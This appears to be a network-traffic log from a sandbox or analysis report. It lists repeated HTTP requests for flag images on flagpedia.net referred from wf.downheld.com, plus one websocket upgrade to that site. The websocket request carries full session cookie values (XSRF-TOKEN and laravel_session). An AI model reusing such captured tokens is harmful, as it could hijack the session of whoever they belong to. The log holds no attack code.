Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mu.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mx.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/my.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mv.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/md.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ml.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web7socket/socket.io/?type=User&appnum=2&EIO=4&transport=websocket HTTP/1.1Host: wf.downheld.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://wf.downheld.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3DSec-WebSocket-Key: 5F9eEGTKMOkeuR4WOK5log==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mc.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mh.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/me.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ma.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mu.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/na.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mx.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/md.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mc.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/np.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nl.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ni.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ma.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/me.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ne.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/na.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ng.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kp.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mk.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/no.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/np.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/om.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pk.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
